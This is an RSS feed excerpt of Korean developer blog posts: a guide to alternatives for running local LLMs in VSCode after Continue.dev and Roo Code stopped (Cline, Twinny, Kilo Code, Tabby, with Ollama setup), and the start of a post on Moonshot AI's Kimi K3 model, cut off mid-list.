&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Continue가 멈춘 뒤, VSCode에서 로컬 LLM 쓰는 법 (2026년 정리)]]></title><description><![CDATA[Continue가 멈춘 뒤, VSCode에서 로컬 LLM 쓰는 법 썸네일 안녕하세요, 자바파커입니다. 이번 글은 질문 하나에서 시작합니다. "그동안 VSCode에서 Continue.dev로 로컬 LLM…]]></description><link>https://blog.javapark.kr/vscode-local-llm-2026/</link><guid isPermaLink="false">https://blog.javapark.kr/vscode-local-llm-2026/</guid><pubDate>Thu, 30 Jul 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/vscode-local-llm-thumbnail.webp&quot; alt=&quot;Continue가 멈춘 뒤, VSCode에서 로컬 LLM 쓰는 법 썸네일&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;이번 글은 질문 하나에서 시작합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;그동안 VSCode에서 &lt;strong&gt;Continue.dev&lt;/strong&gt;로 로컬 LLM을 잘 쓰고 있었는데, 개발이 멈춘 것 같다. 이제 뭘 써야 하나?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면, 걱정하실 일은 아닙니다. Continue가 멈춘 건 맞지만, 로컬 LLM을 VSCode에 붙이는 선택지는 오히려 예전보다 &lt;strong&gt;더 좋아졌습니다&lt;/strong&gt;. 다만 지형도가 한 번 크게 바뀌었기 때문에, 지금 시점에서 무엇이 살아있고 무엇이 사라졌는지 정리가 필요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 Continue를 떠나야 하나&lt;/h2&gt;
&lt;p&gt;먼저 상황부터 짚겠습니다. Continue.dev를 잘 쓰던 분이라면 알아둘 만한 소식입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Continue를 만든 팀은 &lt;strong&gt;2026년 6월 Cursor에 인수&lt;/strong&gt;되었습니다.&lt;/li&gt;
&lt;li&gt;오픈소스 익스텐션은 &lt;strong&gt;v2.0.0을 마지막 릴리스&lt;/strong&gt;로 사실상 개발이 멈췄고, 저장소도 더 이상 활발히 관리되지 않습니다.&lt;/li&gt;
&lt;li&gt;마지막 버전에서는 텔레메트리와 강제 로그인이 빠져서, 남은 기능은 오프라인·로컬 환경에서 계속 쓸 수는 있습니다.&lt;/li&gt;
&lt;li&gt;다만 &lt;strong&gt;클라우드에 저장돼 있던 사용자 데이터는 2026년 7월 15일 이후 삭제&lt;/strong&gt;되었습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;즉, 지금 당장 Continue가 안 켜지는 건 아닙니다. 하지만 새 모델·새 기능·버그 픽스가 더 이상 들어오지 않는 도구를 주력으로 쓰긴 어렵습니다.&lt;/p&gt;
&lt;p&gt;그런데 여기서 한 가지 더. 많은 분들이 Continue 대안으로 떠올리는 &lt;strong&gt;Roo Code&lt;/strong&gt;도 사정이 비슷합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Roo Code는 원래 &lt;strong&gt;Cline에서 갈라져 나온 포크&lt;/strong&gt;로, VS Code 설치 155만 건까지 갔던 인기 프로젝트였습니다.&lt;/li&gt;
&lt;li&gt;하지만 &lt;strong&gt;2026년 4월 21일 서비스를 종료&lt;/strong&gt;했고, 익스텐션은 &lt;strong&gt;5월 15일 아카이브&lt;/strong&gt; 처리됐습니다. 팀은 클라우드 에이전트(roomote.dev)로 방향을 틀었습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;정리하면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;2026년 현재 상태&lt;/th&gt;
&lt;th&gt;로컬 LLM 주력으로 추천?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Continue.dev&lt;/td&gt;
&lt;td&gt;Cursor 인수, v2.0.0이 마지막&lt;/td&gt;
&lt;td&gt;❌ (유지보수 중단)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Roo Code&lt;/td&gt;
&lt;td&gt;2026-04 종료, 익스텐션 아카이브&lt;/td&gt;
&lt;td&gt;❌ (클라우드로 피벗)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cline&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;활발히 개발 중&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Twinny&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;활발히 개발 중&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kilo Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;활발히 개발 중 (Roo 후속)&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tabby&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;활발히 개발 중&lt;/td&gt;
&lt;td&gt;✅ (자동완성/사내 서버)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이제 살아있는 선택지들을 하나씩 보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;먼저: 로컬 LLM 준비 (Ollama)&lt;/h2&gt;
&lt;p&gt;어떤 익스텐션을 쓰든 공통으로 필요한 건 &lt;strong&gt;로컬에서 모델을 돌려줄 런타임&lt;/strong&gt;입니다. 가장 무난한 건 &lt;a href=&quot;https://ollama.com/&quot;&gt;Ollama&lt;/a&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 설치 후 코딩용 모델을 받아둡니다
ollama pull qwen2.5-coder:7b      # 메인 (채팅/편집)
ollama pull qwen2.5-coder:1.5b    # 자동완성(FIM)용 경량 모델&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;모델 선택 가이드는 대략 이렇습니다. (2026년 기준, 개인 장비 기준)&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th&gt;추천 모델&lt;/th&gt;
&lt;th&gt;참고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;가벼운 자동완성&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;qwen2.5-coder:1.5b&lt;/code&gt; ~ &lt;code class=&quot;language-text&quot;&gt;3b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;빠른 응답이 생명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;일반 코딩/채팅&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;qwen2.5-coder:7b&lt;/code&gt; ~ &lt;code class=&quot;language-text&quot;&gt;14b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;14B가 체감상 스위트 스팟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;에이전트형 작업&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;qwen3-coder:32b&lt;/code&gt; (Q4) 이상&lt;/td&gt;
&lt;td&gt;여러 파일 자동 편집엔 큰 모델 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;최소 사양은 RAM 8GB + 최근 5년 내 CPU 정도면 소형 모델은 돌아갑니다. 다만 14B 이상, 특히 에이전트 작업을 제대로 시키려면 GPU(VRAM)가 넉넉할수록 좋습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;가장 흔한 함정 — 컨텍스트 길이(num_ctx)&lt;/strong&gt;
Ollama는 모델 컨텍스트를 기본 2K~4K 토큰으로 잡습니다. 채팅용으론 괜찮지만, 에이전트(Cline 등)는 도구를 몇 번 호출하면 금방 이 한도를 넘겨서 &lt;strong&gt;조용히 실패하거나 무한 루프&lt;/strong&gt;에 빠집니다. 에이전트로 쓸 거면 컨텍스트를 최소 32K(가능하면 64K)로 올려두세요. 아래 Cline 섹션에서 방법을 다룹니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;1. Cline — 에이전트형 코딩, 가장 무난한 1순위&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;한 줄 요약:&lt;/strong&gt; Continue의 &quot;채팅+편집&quot;을 넘어, 파일을 직접 고치고 터미널 명령까지 실행하는 &lt;strong&gt;자율 에이전트&lt;/strong&gt;. Continue 이후 사실상 가장 많이 쓰이는 오픈소스 선택지입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;성격:&lt;/strong&gt; 에이전트형(멀티파일 편집, 터미널 실행, MCP 툴 연동)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;로컬 지원:&lt;/strong&gt; Ollama, LM Studio, llama.cpp, OpenAI 호환 API 모두 지원&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;강점:&lt;/strong&gt; 활발한 유지보수, VS Code + JetBrains 지원, MCP 생태계&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주의:&lt;/strong&gt; 에이전트 작업을 안정적으로 하려면 14B 이상(신뢰성 있게는 32B) 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;설정 요약&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;VS Code 마켓플레이스에서 &lt;strong&gt;Cline&lt;/strong&gt; 설치&lt;/li&gt;
&lt;li&gt;API Provider를 &lt;strong&gt;Ollama&lt;/strong&gt;로 선택&lt;/li&gt;
&lt;li&gt;Base URL: &lt;code class=&quot;language-text&quot;&gt;http://localhost:11434&lt;/code&gt;, 모델 ID 지정&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;컨텍스트 늘리기(중요).&lt;/strong&gt; 앞서 말한 &lt;code class=&quot;language-text&quot;&gt;num_ctx&lt;/code&gt; 함정을 피하려면, 환경변수보다 &lt;strong&gt;Modelfile에 값을 굽는 방식&lt;/strong&gt;이 가장 확실합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# Modelfile
FROM qwen3-coder:32b
PARAMETER num_ctx 32768&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;ollama create qwen3-coder-32k -f Modelfile&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 만든 &lt;code class=&quot;language-text&quot;&gt;qwen3-coder-32k&lt;/code&gt;를 Cline에서 모델로 선택하면 됩니다. (16GB VRAM이면 16K 정도가 현실적인 상한이니, 장비에 맞춰 조정하세요.)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;이런 분께:&lt;/strong&gt; &quot;AI에게 이슈 하나 통째로 맡기고 싶다&quot;, &quot;여러 파일을 오가며 리팩터링·버그 수정을 자동으로 시키고 싶다&quot;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Twinny — Copilot 같은 자동완성 + 채팅, 가장 &quot;로컬 퍼스트&quot;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;한 줄 요약:&lt;/strong&gt; GitHub Copilot을 그대로 로컬로 옮긴 듯한 도구. &lt;strong&gt;인라인 자동완성&lt;/strong&gt;과 &lt;strong&gt;사이드바 채팅&lt;/strong&gt;을 100% 무료·비공개로 제공합니다. Continue를 &quot;가볍게, 자동완성 위주로&quot; 쓰던 분께 가장 자연스러운 대체재입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;성격:&lt;/strong&gt; 실시간 인라인 자동완성(FIM) + Copilot Chat 스타일 채팅&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;로컬 지원:&lt;/strong&gt; Ollama, llama.cpp 등 OpenAI 호환 엔드포인트&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;강점:&lt;/strong&gt; 설정이 단순함, 완전 로컬/비공개, 코드 완성 diff 미리보기, 워크스페이스 임베딩 기반 문맥 인식&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주의:&lt;/strong&gt; 에이전트형 자동 편집은 Cline보다 약함(자동완성·대화가 주력)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;설정 요약&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;마켓플레이스에서 &lt;strong&gt;twinny&lt;/strong&gt; 설치&lt;/li&gt;
&lt;li&gt;Ollama가 켜져 있으면 대부분 자동 인식 (엔드포인트/포트 설정 가능)&lt;/li&gt;
&lt;li&gt;자동완성용은 경량(&lt;code class=&quot;language-text&quot;&gt;qwen2.5-coder:1.5b&lt;/code&gt;), 채팅용은 &lt;code class=&quot;language-text&quot;&gt;7b&lt;/code&gt;처럼 &lt;strong&gt;역할별로 모델을 분리&lt;/strong&gt;하는 게 정석&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;이런 분께:&lt;/strong&gt; &quot;복잡한 에이전트는 필요 없고, Copilot처럼 타이핑하면 착착 붙는 자동완성 + 옆에서 물어볼 채팅만 있으면 된다&quot;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Kilo Code — Roo Code가 익숙했다면&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;한 줄 요약:&lt;/strong&gt; 문을 닫은 Roo Code의 사실상 후속. Roo의 강점이던 &lt;strong&gt;모드 분리(Code/Architect/Ask/Debug)&lt;/strong&gt; 를 그대로 잇는 활발한 포크입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;성격:&lt;/strong&gt; 에이전트형 + 모드 분리(작업 성격별로 모델·행동을 다르게)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;로컬 지원:&lt;/strong&gt; Ollama 등 로컬 모델 연결&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;강점:&lt;/strong&gt; 기존 Roo의 &lt;code class=&quot;language-text&quot;&gt;.roomodes&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;.roo/rules/&lt;/code&gt; 설정을 그대로 읽어 옴 → Roo 쓰던 분이 갈아타기 쉬움&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;모드 분리의 매력:&lt;/strong&gt; 예를 들어 Code 모드엔 큰 로컬 모델, Ask 모드엔 작은 로컬 모델을 물려 &lt;strong&gt;작업별로 자원을 배분&lt;/strong&gt;할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;이런 분께:&lt;/strong&gt; &quot;Roo Code의 모드 워크플로우가 손에 익었다&quot;, &quot;작업 종류에 따라 모델을 갈아 끼우고 싶다&quot;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Tabby — 자동완성 전용, 팀/사내 서버 시나리오&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;한 줄 요약:&lt;/strong&gt; 익스텐션이라기보다 &lt;strong&gt;셀프호스트 자동완성 서버&lt;/strong&gt;. VS Code는 물론 JetBrains·Vim·Neovim·Emacs까지 붙습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;성격:&lt;/strong&gt; 자동완성(FIM) 특화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;로컬 지원:&lt;/strong&gt; Ollama와 별개로 &lt;strong&gt;자체 추론 서버&lt;/strong&gt;를 띄우는 구조&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;강점:&lt;/strong&gt; 매우 빠른 완성(1~3B 특화 모델로 200ms 이하), 여러 에디터 공용, 팀 단위로 서버 한 대 세워 공유하기 좋음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주의:&lt;/strong&gt; 전용 서버(혹은 성능 좋은 장비)가 필요, 채팅/에이전트보다는 완성에 집중&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;이런 분께:&lt;/strong&gt; &quot;개인 자동완성을 넘어, &lt;strong&gt;팀이 공유하는 사내 코드 자동완성 서버&lt;/strong&gt;를 두고 싶다&quot;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그래서 뭘 골라야 하나&lt;/h2&gt;
&lt;p&gt;성향별로 정리하면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;나는 이런 사람&lt;/th&gt;
&lt;th&gt;추천&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Continue의 &lt;strong&gt;채팅+편집&lt;/strong&gt;이 좋았다 / AI에게 작업을 통째로 맡기고 싶다&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Cline&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Continue를 &lt;strong&gt;자동완성 위주&lt;/strong&gt;로 가볍게 썼다 (Copilot 대체)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Twinny&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Roo Code의 모드 워크플로우&lt;/strong&gt;가 익숙하다&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Kilo Code&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;개인이 아니라 &lt;strong&gt;팀 공용 자동완성 서버&lt;/strong&gt;가 필요하다&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Tabby&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;가장 무난한 조합을 하나만 꼽자면, &lt;strong&gt;Ollama + Cline(에이전트) + Twinny(자동완성)&lt;/strong&gt; 를 함께 쓰는 구성입니다. 무거운 작업은 Cline에게 맡기고, 평소 타이핑은 Twinny가 받쳐주는 식이죠.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;Continue.dev가 멈추고 Roo Code까지 문을 닫으면서, &quot;내가 쓰던 도구가 사라졌다&quot;는 불안이 있을 수 있습니다. 하지만 로컬 LLM을 VSCode에 붙이는 흐름 자체는 오히려 성숙해졌습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Continue / Roo Code&lt;/strong&gt; → 유지보수 중단·종료. 주력에서 내려놓을 때.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cline&lt;/strong&gt; → 에이전트형 1순위. 파일 편집·터미널·MCP까지.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twinny&lt;/strong&gt; → Copilot 대체용 자동완성+채팅. 가장 가볍고 로컬 퍼스트.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kilo Code&lt;/strong&gt; → Roo 후속. 모드 분리가 강점.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tabby&lt;/strong&gt; → 팀 공용 자동완성 서버.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;핵심은 지난 Kimi K3 글에서 던졌던 질문과 이어집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;내 개발 워크플로우는 모델(그리고 도구)을 바꿔 끼울 수 있는 구조인가?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;도구 하나에 종속되기보다, &lt;strong&gt;Ollama로 모델을 로컬에 두고 그 위에 익스텐션을 갈아 끼우는 구조&lt;/strong&gt;로 가면, 이번처럼 도구 하나가 사라져도 워크플로우는 흔들리지 않습니다. 그게 이번 Continue 사태가 주는 진짜 교훈이라고 생각합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/cline/cline&quot;&gt;Cline - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://open-vsx.org/extension/rjmacarthy/twinny&quot;&gt;Twinny - Open VSX&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Kilo-Org/kilocode&quot;&gt;Kilo Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/TabbyML/tabby&quot;&gt;Tabby - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ollama.com/&quot;&gt;Ollama&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.continue.dev/&quot;&gt;Continue.dev Docs (레거시)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Kimi K3, 중국판 DeepSeek가 다시 온 걸까? 개발자 관점 정리]]></title><description><![CDATA[Kimi K3, 중국판 DeepSeek가 다시 온 걸까? 개발자 관점 정리 썸네일 안녕하세요. 박선배입니다. 이번에는 Moonshot AI에서 공개한 Kimi K3 이야기를 해보려고 합니다. 요즘 AI…]]></description><link>https://blog.javapark.kr/kimi-k3-deepseek-developer-view/</link><guid isPermaLink="false">https://blog.javapark.kr/kimi-k3-deepseek-developer-view/</guid><pubDate>Tue, 21 Jul 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/kimi-k3-deepseek-thumbnail.webp&quot; alt=&quot;Kimi K3, 중국판 DeepSeek가 다시 온 걸까? 개발자 관점 정리 썸네일&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;박선배&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;이번에는 Moonshot AI에서 공개한 &lt;strong&gt;Kimi K3&lt;/strong&gt; 이야기를 해보려고 합니다.&lt;/p&gt;
&lt;p&gt;요즘 AI 모델 소식이 워낙 자주 나오다 보니, 새 모델이 하나 나왔다고 해서 매번 따라가기는 쉽지 않습니다. ChatGPT, Claude, Gemini, DeepSeek, Qwen까지 이름도 많고, 벤치마크도 많습니다. 실제로 써보면 기사 제목만큼 체감되지 않는 경우도 꽤 있고요.&lt;/p&gt;
&lt;p&gt;그런데 Kimi K3는 그냥 지나치기에는 조금 아까운 모델입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말하면, Kimi K3는 &quot;중국에서 나온 또 하나의 AI 모델&quot;이라기보다 &lt;strong&gt;DeepSeek 이후 오픈 모델 경쟁이 어디까지 왔는지 보여주는 신호&lt;/strong&gt;에 가깝습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Kimi K3는 어떤 모델인가&lt;/h2&gt;
&lt;p&gt;Kimi K3는 중국의 Moonshot AI가 공개한 최신 플래그십 모델입니다.&lt;/p&gt;
&lt;p&gt;공식 소개 기준으로 Kimi K3는 다음 특징을 갖고 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;개발사&lt;/td&gt;
&lt;td&gt;Moonshot AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모델명&lt;/td&gt;
&lt;td&gt;Kimi K3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;규모&lt;/td&gt;
&lt;td&gt;2.8조 파라미터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;컨텍스트&lt;/td&gt;
&lt;td&gt;100만 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;특징&lt;/td&gt;
&lt;td&gt;멀티모달, 장기 코딩 작업, 지식 업무, 추론 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공개 방식&lt;/td&gt;
&lt;td&gt;오픈 3T급 모델로 소개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사용 경로&lt;/td&gt;
&lt;td&gt;Kimi.com, Kimi Work, Kimi Code, Kimi API&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;숫자만 보면 조금 멀게 느껴질 수 있습니다.&lt;/p&gt;
&lt;p&gt;개발자 입장에서 중요한 건 2.8조 파라미터라는 숫자 자체보다 &lt;strong&gt;긴 작업을 얼마나 오래 붙잡고 갈 수 있느냐&lt;/strong&gt;입니다. 작은 함수 하나를 고치는 일은 이제 대부분의 AI 모델이 어느 정도 합니다. 문제는 큰 코드베이스를 읽고, 여러 파일의 관계를 파악하고, 중간에 맥락을 잃지 않고, 테스트와 수정 작업을 반복하는 일입니다.&lt;/p&gt;
&lt;p&gt;Kimi K3는 이쪽을 꽤 노리고 나온 모델로 보입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 갑자기 주목받고 있나&lt;/h2&gt;
&lt;p&gt;Kimi K3가 주목받는 이유는 크게 세 가지입니다.&lt;/p&gt;
&lt;p&gt;첫째, &lt;strong&gt;오픈 모델의 규모가 커졌습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Moonshot AI는 Kimi K3를 2.8조 파라미터 규모의 오픈 3T급 모델로 소개하고 있습니다. 파라미터 수가 성능을 그대로 보장하는 것은 아니지만, 오픈 모델 진영에서 이 정도 크기의 모델이 나왔다는 점은 의미가 있습니다.&lt;/p&gt;
&lt;p&gt;둘째, &lt;strong&gt;코딩 성능이 화제가 됐습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;공식 블로그에서는 Kimi K3가 긴 개발 세션을 유지하고, 큰 저장소를 탐색하고, 터미널 도구를 조합하는 작업에 강점이 있다고 설명합니다. AP News도 Kimi K3가 프론트엔드 코딩 성능 평가에서 주목받았다고 보도했습니다.&lt;/p&gt;
&lt;p&gt;셋째, &lt;strong&gt;DeepSeek 때와 비슷한 시장 반응이 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DeepSeek가 나왔을 때도 &quot;중국 AI가 미국 모델을 따라잡는 것 아니냐&quot;는 이야기가 크게 돌았습니다. Kimi K3도 비슷한 프레임으로 소비되고 있습니다. 물론 이런 반응에는 과장이 섞이기 쉽습니다. 그래도 한 가지는 분명합니다. 이제 AI 모델 경쟁에서 중국 오픈 모델을 빼고 이야기하기 어려워졌습니다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/kimi-k3-open-model-landscape.svg&quot; alt=&quot;Kimi K3를 둘러싼 AI 모델 경쟁 구도&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;DeepSeek 때와 뭐가 비슷한가&lt;/h2&gt;
&lt;p&gt;Kimi K3를 보면 DeepSeek 때와 닮은 부분이 있습니다.&lt;/p&gt;
&lt;p&gt;가장 큰 공통점은 &lt;strong&gt;가격과 접근성에 대한 기대&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;AI 모델이 좋아지는 것도 중요하지만, 개발자 입장에서는 결국 &quot;얼마나 싸게, 얼마나 자주, 얼마나 자유롭게 쓸 수 있느냐&quot;가 중요합니다. 좋은 모델이어도 API 비용이 부담되면 실험을 줄이게 됩니다. 회사 내부 업무에 붙이기도 조심스러워집니다.&lt;/p&gt;
&lt;p&gt;DeepSeek가 주목받았던 이유도 단순히 성능 때문만은 아니었습니다. 오픈 모델이 충분히 좋아지면, 특정 회사의 폐쇄형 API에만 의존하지 않아도 된다는 기대가 생겼기 때문입니다.&lt;/p&gt;
&lt;p&gt;Kimi K3도 비슷한 질문을 던집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;앞으로 개발용 AI 도구는 특정 모델 하나에 묶일까, 아니면 여러 모델을 바꿔 끼우는 구조가 될까?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;저는 후자에 가깝게 갈 가능성이 높다고 봅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;DeepSeek와 다른 점도 있다&lt;/h2&gt;
&lt;p&gt;다만 Kimi K3를 DeepSeek의 반복으로만 보면 조금 단순합니다.&lt;/p&gt;
&lt;p&gt;DeepSeek 때는 &quot;저비용 고성능 모델&quot;이라는 충격이 컸습니다. 반면 Kimi K3는 &lt;strong&gt;대형 오픈 모델이 장기 에이전트 작업을 어디까지 할 수 있느냐&lt;/strong&gt;에 초점이 더 있어 보입니다.&lt;/p&gt;
&lt;p&gt;특히 공식 문서에서 강조하는 지점이 코딩, 지식 업무, 긴 컨텍스트, 멀티모달 작업입니다.&lt;/p&gt;
&lt;p&gt;개발자에게 이 차이는 꽤 큽니다.&lt;/p&gt;
&lt;p&gt;단순 코드 생성 모델은 이런 일을 합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;함수 작성&lt;/li&gt;
